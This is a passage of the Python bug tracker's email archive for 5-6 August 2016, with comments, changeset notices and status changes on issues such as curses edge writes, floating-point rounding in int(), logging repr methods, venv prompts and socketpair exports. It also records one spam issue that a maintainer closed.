comment: Looks like there have been longstanding issues with using curses to write to the right-/bottom-most character position of a curses window; see open Issue8243 and various discussions elsewhere. Some of the discussions suggest the issues dates back to support of physical terminals where writing to the last character position caused an automatic scroll up of the lines on a screen and suggest it is best to avoid trying to write in that last position. I'm not a curses expert so whether that advice is still relevant today and whether Textbox behavior should be changed are open questions. The behavior could just be added to the proposed documentation changes in Issue8243. Perhaps @twouters has a suggestion. ---------- nosy: +ned.deily, twouters versions: +Python 3.5, Python 3.6 -Python 3.2 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 16:32:27 2016 From: report at bugs.python.org (Ned Deily) Date: Fri, 05 Aug 2016 20:32:27 +0000 Subject: [issue8243] curses writing to window's bottom right position raises: `_curses.error: addstr() returned ERR' In-Reply-To: <1352121880.55.0.191535515397.issue8243@psf.upfronthosting.co.za> Message-ID: <1470429147.09.0.396293947839.issue8243@psf.upfronthosting.co.za> Ned Deily added the comment: See also Issue27693 which documents a similar issue using curses.textpad. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 16:45:14 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 05 Aug 2016 20:45:14 +0000 Subject: [issue20160] broken ctypes calling convention on MSVC / 64-bit Windows (large structs) In-Reply-To: <1389087474.06.0.281853443562.issue20160@psf.upfronthosting.co.za> Message-ID: <20160805204509.26825.94892.F002720E@psf.io> Roundup Robot added the comment: New changeset 4d33bccb59a8 by Vinay Sajip in branch '3.3': Issue #20160: Handled passing of large structs to callbacks correctly. https://hg.python.org/cpython/rev/4d33bccb59a8 New changeset 190ebf99bf45 by Vinay Sajip in branch '3.4': Issue #20160: Merged fix from 3.3. https://hg.python.org/cpython/rev/190ebf99bf45 New changeset 24b114d77ec8 by Vinay Sajip in branch '3.5': Issue #20160: Merged fix from 3.4. https://hg.python.org/cpython/rev/24b114d77ec8 New changeset ec9b4d93662d by Vinay Sajip in branch 'default': Closes #20160: Merged fix from 3.5. https://hg.python.org/cpython/rev/ec9b4d93662d ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 17:31:26 2016 From: report at bugs.python.org (Kyle Altendorf) Date: Fri, 05 Aug 2016 21:31:26 +0000 Subject: [issue27696] win_add2path.py does not add user site directory Message-ID: <1470432686.16.0.44318212583.issue27696@psf.upfronthosting.co.za> New submission from Kyle Altendorf: Since the detected user path has the text `%APPDATA%` replaced into it `os.path.isdir()` returns `False`. As a result, the user site path is not added to the `%PATH%` variable. The patch adds `os.path.expandvars()` to the `isdir()` check to resolve this issue. ---------- files: win_add2path.patch keywords: patch messages: 272060 nosy: altendky priority: normal severity: normal status: open title: win_add2path.py does not add user site directory type: behavior versions: Python 3.5 Added file: http://bugs.python.org/file44028/win_add2path.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 17:56:31 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 05 Aug 2016 21:56:31 +0000 Subject: [issue26027] Support Path objects in the posix module In-Reply-To: <1452114329.99.0.617690911804.issue26027@psf.upfronthosting.co.za> Message-ID: <1470434191.07.0.221538714375.issue26027@psf.upfronthosting.co.za> Brett Cannon added the comment: Here is a version of Jelle's patch but with PyOS_FSPath() inlined. Serhiy, does this work for you? ---------- stage: patch review -> commit review Added file: http://bugs.python.org/file44029/path_converter.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 17:57:18 2016 From: report at bugs.python.org (nathan snobelen) Date: Fri, 05 Aug 2016 21:57:18 +0000 Subject: [issue27697] Obscure bug in the int() function Message-ID: <1470434238.47.0.90762321591.issue27697@psf.upfronthosting.co.za> New submission from nathan snobelen: Hi, I've noticed a bug in int() when converting a specific range of numbers it will incorrectly round the last digit down. We have some payment code which formats numbers for processing in our system and we noticed that the payment of 1108431.38 was dropped by a penny to 1108431.37. I looked into it and found that it is dropped when it is multiplied by 100 (to remove the decimal) and then converted back to an int. Note, this bug only applies to the following range of numbers: 1108431.38 - 1108431.41. Any other number I tried was unaffected. The following code will replicate the bug: import math amount1 = 110843138.0 amount2 = 1108431.38 * 100 print "Orig amount1 " + str(amount1) print "Orig amount2 " + str(amount2) print "Converted amount1 " + str(int(amount1)) print "Converted amount2 " + str(int(amount2)) Try it, and you will see that "amount1" remains correct, but "amount2" is affected. Multiplying by 100 seems to trigger it... however note that even after it has been multiplied by 100 it is still correct... it's only when you then apply the int() function that the penny drops. So it would appear that something is wrong in the int() function. Cheers, Nathan ---------- components: Library (Lib) messages: 272062 nosy: nathan snobelen priority: normal severity: normal status: open title: Obscure bug in the int() function type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 18:00:35 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 05 Aug 2016 22:00:35 +0000 Subject: [issue27182] PEP 519 support in the stdlib In-Reply-To: <1464887789.1.0.970652730446.issue27182@psf.upfronthosting.co.za> Message-ID: <1470434435.27.0.494024484469.issue27182@psf.upfronthosting.co.za> Brett Cannon added the comment: Just a quick update: between the patches for issue #26027 and issue #26667, the necessary code to make os.path work with path-like objects is done. At this point I'm just waiting for code reviews on those patches. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 18:03:24 2016 From: report at bugs.python.org (Ammar Askar) Date: Fri, 05 Aug 2016 22:03:24 +0000 Subject: [issue27697] Obscure bug in the int() function In-Reply-To: <1470434238.47.0.90762321591.issue27697@psf.upfronthosting.co.za> Message-ID: <1470434604.46.0.70016127609.issue27697@psf.upfronthosting.co.za> Ammar Askar added the comment: You've ran into a classic floating point number limitation. Please read the following doc page: https://docs.python.org/2/tutorial/floatingpoint.html The problem comes when you multiply the number by 100, which is what causes the precision loss and drops it by a penny. >>> 1108431.38 * 100 110843137.99999999 >>> int(110843137.99999999) 110843137 If this is for currency, I would suggest you use the decimal module https://docs.python.org/2/library/decimal.html ---------- nosy: +ammar2 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 18:08:42 2016 From: report at bugs.python.org (Berker Peksag) Date: Fri, 05 Aug 2016 22:08:42 +0000 Subject: [issue27697] Obscure bug in the int() function In-Reply-To: <1470434238.47.0.90762321591.issue27697@psf.upfronthosting.co.za> Message-ID: <1470434922.86.0.271181205971.issue27697@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 18:10:34 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 05 Aug 2016 22:10:34 +0000 Subject: [issue27242] Make the docs for NotImplemented & NotImplementedError unambiguous In-Reply-To: <1465239567.69.0.773832868585.issue27242@psf.upfronthosting.co.za> Message-ID: <20160805221031.10605.55539.B3867A1A@psf.io> Roundup Robot added the comment: New changeset 142f5325af06 by Ethan Furman in branch 'default': Clarify NotImplemented vs NotImplementedError. Initial patch by Emmanuel Barry. Closes issue 27242. https://hg.python.org/cpython/rev/142f5325af06 ---------- nosy: +python-dev resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 18:20:29 2016 From: report at bugs.python.org (STINNER Victor) Date: Fri, 05 Aug 2016 22:20:29 +0000 Subject: [issue27695] Compilation doesnt' end In-Reply-To: <1470420599.68.0.767045507778.issue27695@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: FYI my Python reimplementation of the bytecode peephole optimizer doesn't have this issue. It estimates the size of a**b using exp() and ln() functions. http://bytecode.readthedocs.io/en/latest/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 18:34:26 2016 From: report at bugs.python.org (Berker Peksag) Date: Fri, 05 Aug 2016 22:34:26 +0000 Subject: [issue12276] 3.x ignores sys.tracebacklimit=0 In-Reply-To: <1307436501.83.0.59684150491.issue12276@psf.upfronthosting.co.za> Message-ID: <1470436466.99.0.921233363969.issue12276@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- keywords: +easy stage: -> needs patch type: -> behavior versions: +Python 3.5, Python 3.6 -Python 3.1, Python 3.2 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 18:42:29 2016 From: report at bugs.python.org (Berker Peksag) Date: Fri, 05 Aug 2016 22:42:29 +0000 Subject: [issue22391] MSILIB truncates last character in summary information stream In-Reply-To: <1410454409.06.0.0184961474822.issue22391@psf.upfronthosting.co.za> Message-ID: <1470436949.82.0.547120504229.issue22391@psf.upfronthosting.co.za> Berker Peksag added the comment: Thanks for the report. This is a duplicate of issue 1104. ---------- nosy: +berker.peksag resolution: -> duplicate stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 18:45:56 2016 From: report at bugs.python.org (Berker Peksag) Date: Fri, 05 Aug 2016 22:45:56 +0000 Subject: [issue3216] Scarce msilib documentation In-Reply-To: <1214577470.61.0.590067451474.issue3216@psf.upfronthosting.co.za> Message-ID: <1470437156.02.0.0112932162576.issue3216@psf.upfronthosting.co.za> Berker Peksag added the comment: All obvious bugs have already been fixed. ---------- nosy: +berker.peksag resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 18:55:47 2016 From: report at bugs.python.org (Berker Peksag) Date: Fri, 05 Aug 2016 22:55:47 +0000 Subject: [issue14594] document imp.load_dynamic() In-Reply-To: <1334576684.12.0.825511182603.issue14594@psf.upfronthosting.co.za> Message-ID: <1470437747.67.0.615575041114.issue14594@psf.upfronthosting.co.za> Berker Peksag added the comment: The imp module has been deprecated long time ago and the importlib module itself doesn't it anymore. However, Cython still use it: https://github.com/cython/cython/blob/master/pyximport/pyximport.py#L217 I'm inclined to close this as 'out of date' but feel free to reopen it :) ---------- nosy: +berker.peksag resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 18:57:03 2016 From: report at bugs.python.org (Mark Roseman) Date: Fri, 05 Aug 2016 22:57:03 +0000 Subject: [issue15786] IDLE code completion window can hang or misbehave with mouse In-Reply-To: <1346027701.33.0.908436854594.issue15786@psf.upfronthosting.co.za> Message-ID: <1470437823.08.0.279747583823.issue15786@psf.upfronthosting.co.za> Mark Roseman added the comment: I've done some playing around... not quite there yet, but I think much closer. First, I assume the 'freeze' on Mac is not a hard freeze, but where the text window is not responding to events, but if you switch to another app and back, it works again? Second, right now (assuming I've got the latest), if you click on the listbox it goes away immediately, due to it being included in HIDE_SEQUENCES (meaning ButtonPress generates <> which calls the routine to hide the autocomplete window. Which obscures any double click event etc. Third, and I think this is the key to this, is that all of the event_add, event_delete, bind, and unbind are not calling Tkinter routines directly, but are going through the multicall module (which allows an event to fire more than one binding). When we call hide_window, we're doing several event_delete and unbind calls in multicall to undo the bindings we had set up before. Which should leave us back where we started, with the text widget bindings still firing when events come in. So then is it an issue of the events not coming in (indicating a bug in Tkinter or how we're calling it), or multicall not correctly dispatching to the text widget? Stick a print() call in multicall.py:_ComplexBinder:__create_handler:handler and you'll see the events are being generated by Tk, but multicall isn't dispatching them. When I get a chance again, I can see about digging into multicall to verify if it is doing something wrong. I'll also raise a meta-issue, and that is that using a multicall-like wrapper approach may not necessarily be the best approach to doing the multiple dispatch. Adding a new (Tk widget) class to the text widget (via the 'bindtags' command) and then attaching bindings to that class would I suspect be simpler. And finally, one simplification for the autocomplete window class... the listbox generates a <> virtual event every time its selection changes, so you don't need to bind against all the clicks, arrow keys, etc. ---------- nosy: +markroseman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 19:18:44 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 05 Aug 2016 23:18:44 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <20160805231842.21215.20494.A4467A79@psf.io> Roundup Robot added the comment: New changeset 7ed7d7f58fcd by Ethan Furman in branch 'default': Add AutoEnum: automatically provides next value if missing. Issue 26988. https://hg.python.org/cpython/rev/7ed7d7f58fcd ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 19:24:36 2016 From: report at bugs.python.org (Ethan Furman) Date: Fri, 05 Aug 2016 23:24:36 +0000 Subject: [issue26981] add compatibility shim for enum34 backport In-Reply-To: <1462751121.21.0.925705458571.issue26981@psf.upfronthosting.co.za> Message-ID: <1470439476.68.0.751517356279.issue26981@psf.upfronthosting.co.za> Ethan Furman added the comment: Done in issue26988. ---------- resolution: -> fixed status: open -> closed superseder: -> Add AutoNumberedEnum to stdlib _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 19:38:56 2016 From: report at bugs.python.org (Mark Roseman) Date: Fri, 05 Aug 2016 23:38:56 +0000 Subject: [issue27621] Finish IDLE Query dialog appearance and behavior. In-Reply-To: <1469512966.74.0.594331033204.issue27621@psf.upfronthosting.co.za> Message-ID: <1470440336.53.0.876124873732.issue27621@psf.upfronthosting.co.za> Mark Roseman added the comment: Looks great Terry - thanks. Only nit is that test_click_help_source fails on Mac, courtesy a leading 'file://' added in the last few lines of path_ok ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 19:40:54 2016 From: report at bugs.python.org (Berker Peksag) Date: Fri, 05 Aug 2016 23:40:54 +0000 Subject: [issue15639] csv.Error description is incorrectly broad In-Reply-To: <1344861900.41.0.500081964818.issue15639@psf.upfronthosting.co.za> Message-ID: <1470440454.23.0.712629302276.issue15639@psf.upfronthosting.co.za> Berker Peksag added the comment: Thanks for the report. Most of the csv.Error usages are in Modules/_csv.c. You can search for "_csvstate_global->error_obj" in the module's source code. I think the documentation is correct as is. ---------- nosy: +berker.peksag resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 19:59:33 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 05 Aug 2016 23:59:33 +0000 Subject: [issue18548] In unittest doc change WidgetTestCase to SimpleWidgetTestCase in suite() In-Reply-To: <1374691721.34.0.862188774104.issue18548@psf.upfronthosting.co.za> Message-ID: <20160805235928.71977.76082.B824D85C@psf.io> Roundup Robot added the comment: New changeset d0402caa0ef5 by Berker Peksag in branch '3.5': Issue #18548: Fix unittest.TestSuite() example https://hg.python.org/cpython/rev/d0402caa0ef5 New changeset e17e3f620709 by Berker Peksag in branch 'default': Issue #18548: Merge from 3.5 https://hg.python.org/cpython/rev/e17e3f620709 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 20:00:56 2016 From: report at bugs.python.org (Berker Peksag) Date: Sat, 06 Aug 2016 00:00:56 +0000 Subject: [issue18548] In unittest doc change WidgetTestCase to SimpleWidgetTestCase in suite() In-Reply-To: <1374691721.34.0.862188774104.issue18548@psf.upfronthosting.co.za> Message-ID: <1470441656.52.0.599518250088.issue18548@psf.upfronthosting.co.za> Berker Peksag added the comment: Good catch, thanks! I went with Ezio's suggestion but left 2.7 documentation as is. ---------- nosy: +berker.peksag resolution: -> fixed stage: patch review -> resolved status: open -> closed type: enhancement -> behavior versions: +Python 3.5, Python 3.6 -Python 3.3, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 20:07:35 2016 From: report at bugs.python.org (Berker Peksag) Date: Sat, 06 Aug 2016 00:07:35 +0000 Subject: [issue21056] csv documentation is incorrect In-Reply-To: <1395720703.0.0.19592596057.issue21056@psf.upfronthosting.co.za> Message-ID: <1470442055.77.0.512159961633.issue21056@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- keywords: +easy stage: -> needs patch versions: +Python 3.5, Python 3.6 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 20:59:03 2016 From: report at bugs.python.org (Martin Panter) Date: Sat, 06 Aug 2016 00:59:03 +0000 Subject: [issue1621] Do not assume signed integer overflow behavior In-Reply-To: <1197593027.35.0.00314874350765.issue1621@psf.upfronthosting.co.za> Message-ID: <1470445143.13.0.47165116539.issue1621@psf.upfronthosting.co.za> Martin Panter added the comment: Xiang: regarding your overflow_fix_in_listextend.patch, what do you think about adding a comment or debugging assertion instead, something like: /* It should not be possible to allocate a list large enough to cause an overflow on any relevant platform */ assert(m < PY_SSIZE_T_MAX - n); ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 23:18:08 2016 From: report at bugs.python.org (Xiang Zhang) Date: Sat, 06 Aug 2016 03:18:08 +0000 Subject: [issue1621] Do not assume signed integer overflow behavior In-Reply-To: <1197593027.35.0.00314874350765.issue1621@psf.upfronthosting.co.za> Message-ID: <1470453488.14.0.999001781181.issue1621@psf.upfronthosting.co.za> Xiang Zhang added the comment: It's good Martin. Just commit it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 03:35:18 2016 From: report at bugs.python.org (SilentGhost) Date: Sat, 06 Aug 2016 07:35:18 +0000 Subject: [issue27696] win_add2path.py does not add user site directory In-Reply-To: <1470432686.16.0.44318212583.issue27696@psf.upfronthosting.co.za> Message-ID: <1470468918.98.0.120245000604.issue27696@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- components: +Demos and Tools, Windows nosy: +paul.moore, steve.dower, tim.golden, zach.ware stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 05:28:49 2016 From: report at bugs.python.org (Roundup Robot) Date: Sat, 06 Aug 2016 09:28:49 +0000 Subject: [issue27650] Implement `__repr__` methods for logging.Logger and others In-Reply-To: <1469822965.14.0.109412472968.issue27650@psf.upfronthosting.co.za> Message-ID: <20160806092846.30739.97379.09F838CB@psf.io> Roundup Robot added the comment: New changeset 6c304a2ca139 by Vinay Sajip in branch 'default': Closes #27650: Implemented repr methods for logging objects. https://hg.python.org/cpython/rev/6c304a2ca139 ---------- nosy: +python-dev resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 05:44:01 2016 From: report at bugs.python.org (Roundup Robot) Date: Sat, 06 Aug 2016 09:44:01 +0000 Subject: [issue22829] Add --prompt option to venv In-Reply-To: <1415555957.14.0.777244809784.issue22829@psf.upfronthosting.co.za> Message-ID: <20160806094358.79629.92303.95835E7B@psf.io> Roundup Robot added the comment: New changeset 6703847eeb31 by Vinay Sajip in branch 'default': Closes #22829: Added --prompt option to venv. https://hg.python.org/cpython/rev/6703847eeb31 ---------- nosy: +python-dev resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 05:46:40 2016 From: report at bugs.python.org (Vinay Sajip) Date: Sat, 06 Aug 2016 09:46:40 +0000 Subject: [issue27373] logging.handlers.SysLogHandler with TCP not working on rsyslog5.8 In-Reply-To: <1466672671.84.0.9141309622.issue27373@psf.upfronthosting.co.za> Message-ID: <1470476800.78.0.476407061397.issue27373@psf.upfronthosting.co.za> Vinay Sajip added the comment: If no more information is available, I will close this issue soon as "not a bug". ---------- status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 05:52:46 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Sat, 06 Aug 2016 09:52:46 +0000 Subject: [issue27373] logging.handlers.SysLogHandler with TCP not working on rsyslog5.8 In-Reply-To: <1466672671.84.0.9141309622.issue27373@psf.upfronthosting.co.za> Message-ID: <1470477166.66.0.669996635964.issue27373@psf.upfronthosting.co.za> St?phane Wirtel added the comment: For me, it's an issue with the management of the protocol in rsyslog and not with the logging library. You can close the issue. ---------- nosy: +matrixise status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 05:54:43 2016 From: report at bugs.python.org (Vinay Sajip) Date: Sat, 06 Aug 2016 09:54:43 +0000 Subject: [issue21999] shlex: bug in posix mode handling of empty strings In-Reply-To: <1405615020.91.0.261812812224.issue21999@psf.upfronthosting.co.za> Message-ID: <1470477283.02.0.341079011746.issue21999@psf.upfronthosting.co.za> Vinay Sajip added the comment: After the patch for issue 1521950 was applied, this problem no longer occurs on default/3.6. Removing 3.4 as it's in "security patches only" mode. ---------- versions: -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 06:02:26 2016 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Sat, 06 Aug 2016 10:02:26 +0000 Subject: [issue27698] socketpair not in socket.__all__ on Windows Message-ID: <1470477746.64.0.384028109592.issue27698@psf.upfronthosting.co.za> New submission from Vedran ?a?i?: It seems socketpair is added for Windows in Py3.5, but it isn't imported with `from socket import *`. Can it be added to __all__? ---------- components: Library (Lib) messages: 272084 nosy: veky priority: normal severity: normal status: open title: socketpair not in socket.__all__ on Windows versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 06:09:27 2016 From: report at bugs.python.org (Vinay Sajip) Date: Sat, 06 Aug 2016 10:09:27 +0000 Subject: [issue25785] TimedRotatingFileHandler missing rotations In-Reply-To: <1449084472.03.0.0629669508216.issue25785@psf.upfronthosting.co.za> Message-ID: <1470478167.76.0.338189776882.issue25785@psf.upfronthosting.co.za> Vinay Sajip added the comment: This is not a bug. For example, if you set up a rotating handler to rollover every minute but only log once every two minutes, you won't get any empty log files for the minutes where logging didn't happen. The behaviour of the handler isn't expected to keep track of when the program is interrupted and restarted. If you need this, it is best to subclass the handler. ---------- resolution: -> not a bug status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 06:13:03 2016 From: report at bugs.python.org (Vinay Sajip) Date: Sat, 06 Aug 2016 10:13:03 +0000 Subject: [issue21699] Windows Python 3.4.1 pyvenv doesn't work in directories with spaces. In-Reply-To: <1402325667.24.0.414585735491.issue21699@psf.upfronthosting.co.za> Message-ID: <1470478383.29.0.643757378581.issue21699@psf.upfronthosting.co.za> Vinay Sajip added the comment: I'll close this as it doesn't seem to be a Python bug. ---------- resolution: -> not a bug stage: test needed -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 06:17:37 2016 From: report at bugs.python.org (Vinay Sajip) Date: Sat, 06 Aug 2016 10:17:37 +0000 Subject: [issue25459] EAGAIN errors in Python logging module In-Reply-To: <1445522395.9.0.458727890682.issue25459@psf.upfronthosting.co.za> Message-ID: <1470478657.71.0.288293135849.issue25459@psf.upfronthosting.co.za> Vinay Sajip added the comment: I will close this as not a bug. If you have custom signal handling which interacts with logging in an undesirable way, you will need to subclass the handler. The use case isn't common enough to be addressed in the base handler, IMO. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 06:22:35 2016 From: report at bugs.python.org (Berker Peksag) Date: Sat, 06 Aug 2016 10:22:35 +0000 Subject: [issue12946] PyModule_GetDict() claims it can never fail, but it can In-Reply-To: <1315585192.34.0.742122652176.issue12946@psf.upfronthosting.co.za> Message-ID: <1470478955.08.0.0807761307423.issue12946@psf.upfronthosting.co.za> Berker Peksag added the comment: I've changed the dead code to assert(d != NULL); and added the following sentence to PyModule_GetDict documentation: If *module* is not a module object (or a subtype of a module object), :exc:`SystemError` is raised and *NULL* is returned. ---------- keywords: +patch nosy: +berker.peksag stage: -> patch review versions: +Python 3.6 -Python 2.6, Python 2.7, Python 3.1, Python 3.2, Python 3.3, Python 3.4 Added file: http://bugs.python.org/file44030/issue12946.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 06:41:35 2016 From: report at bugs.python.org (Berker Peksag) Date: Sat, 06 Aug 2016 10:41:35 +0000 Subject: [issue23105] os.O_SHLOCK and os.O_EXLOCK are not available on Linux In-Reply-To: <1419345535.42.0.312768269587.issue23105@psf.upfronthosting.co.za> Message-ID: <1470480095.47.0.514029735551.issue23105@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- keywords: +easy stage: -> needs patch versions: +Python 3.6 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 07:00:59 2016 From: report at bugs.python.org (SilentGhost) Date: Sat, 06 Aug 2016 11:00:59 +0000 Subject: [issue27698] socketpair not in socket.__all__ on Windows In-Reply-To: <1470477746.64.0.384028109592.issue27698@psf.upfronthosting.co.za> Message-ID: <1470481259.82.0.470504128047.issue27698@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- components: +Windows nosy: +paul.moore, pitrou, steve.dower, tim.golden, zach.ware stage: -> needs patch type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 07:03:10 2016 From: report at bugs.python.org (Berker Peksag) Date: Sat, 06 Aug 2016 11:03:10 +0000 Subject: [issue23542] Update PEP 476 for using urllib2.build_opener() In-Reply-To: <1425069828.0.0.476725699175.issue23542@psf.upfronthosting.co.za> Message-ID: <1470481390.82.0.842979803851.issue23542@psf.upfronthosting.co.za> Berker Peksag added the comment: Thanks for the patch, but I prefer keeping the section shorter. Also, note that disabling verification globally is discouraged in the PEP. ---------- nosy: +berker.peksag resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 07:04:25 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Sat, 06 Aug 2016 11:04:25 +0000 Subject: [issue23105] os.O_SHLOCK and os.O_EXLOCK are not available on Linux In-Reply-To: <1419345535.42.0.312768269587.issue23105@psf.upfronthosting.co.za> Message-ID: <1470481465.94.0.822310462332.issue23105@psf.upfronthosting.co.za> St?phane Wirtel added the comment: If you read the documentation from glibc-2.24, these options are only available on BSD and not on Linux. """ The remaining operating modes are BSD extensions. They exist only on some systems. On other systems, these macros are not defined. Macro: int O_SHLOCK Acquire a shared lock on the file, as with flock. See File Locks. If O_CREAT is specified, the locking is done atomically when creating the file. You are guaranteed that no other process will get the lock on the new file first. Macro: int O_EXLOCK Acquire an exclusive lock on the file, as with flock. See File Locks. This is atomic like O_SHLOCK. """ With my fedora 24, and glibc 2.23 I don't find any reference to these macros. ---------- nosy: +matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 07:04:46 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Sat, 06 Aug 2016 11:04:46 +0000 Subject: [issue23105] os.O_SHLOCK and os.O_EXLOCK are not available on Linux In-Reply-To: <1419345535.42.0.312768269587.issue23105@psf.upfronthosting.co.za> Message-ID: <1470481486.63.0.609953257253.issue23105@psf.upfronthosting.co.za> St?phane Wirtel added the comment: Link to the documentation of glibc: http://www.gnu.org/software/libc/manual/html_node/Open_002dtime-Flags.html ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 07:08:34 2016 From: report at bugs.python.org (David Kirkby) Date: Sat, 06 Aug 2016 11:08:34 +0000 Subject: [issue27699] very important news Message-ID: <00006de2ea9b$2c37101c$3370f337$@onetel.net> New submission from David Kirkby: Yo! Here are some very important news for you, please read that information Best Wishes, david.kirkby ---------- files: image001.jpg messages: 272092 nosy: drkirkby priority: normal severity: normal status: open title: very important news Added file: http://bugs.python.org/file44031/image001.jpg _______________________________________ Python tracker _______________________________________ -------------- next part -------------- A non-text attachment was scrubbed... Name: image001.jpg Type: image/jpeg Size: 1895 bytes Desc: not available URL: From report at bugs.python.org Sat Aug 6 07:09:07 2016 From: report at bugs.python.org (SilentGhost) Date: Sat, 06 Aug 2016 11:09:07 +0000 Subject: [issue27699] very important news Message-ID: <1470481747.54.0.0024685557757.issue27699@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- Removed message: http://bugs.python.org/msg272092 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 07:09:55 2016 From: report at bugs.python.org (SilentGhost) Date: Sat, 06 Aug 2016 11:09:55 +0000 Subject: [issue27699] spam Message-ID: <1470481795.42.0.737836390672.issue27699@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- nosy: -drkirkby resolution: -> not a bug stage: -> resolved status: open -> closed title: very important news -> spam _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 07:10:09 2016 From: report at bugs.python.org (SilentGhost) Date: Sat, 06 Aug 2016 11:10:09 +0000 Subject: [issue27699] spam Message-ID: <1470481809.65.0.68634823732.issue27699@psf.upfronthosting.co.za> Changes by SilentGhost : Removed file: http://bugs.python.org/file44031/image001.jpg _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 07:19:58 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Sat, 06 Aug 2016 11:19:58 +0000 Subject: [issue23105] os.O_SHLOCK and os.O_EXLOCK are not available on Linux In-Reply-To: <1419345535.42.0.312768269587.issue23105@psf.upfronthosting.co.za> Message-ID: <1470482398.48.0.406533273134.issue23105@psf.upfronthosting.co.za> St?phane Wirtel added the comment: I am working on it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 6 07:37:31 2016 From: report at bugs.python.org (Ram Rachum) Date: Sat, 06 Aug 2016 11:37:31 +0000 Subject: [issue27650] Implement `__repr__` methods for logging.Logger and others In-Reply-To: <1469822965.14.0.109412472968.issue27650@psf.upfronthosting.co.za> Message-ID: <1470483451.25.0.37403763156.issue27650@psf.upfronthosting.co.za> Ram Rachum added the 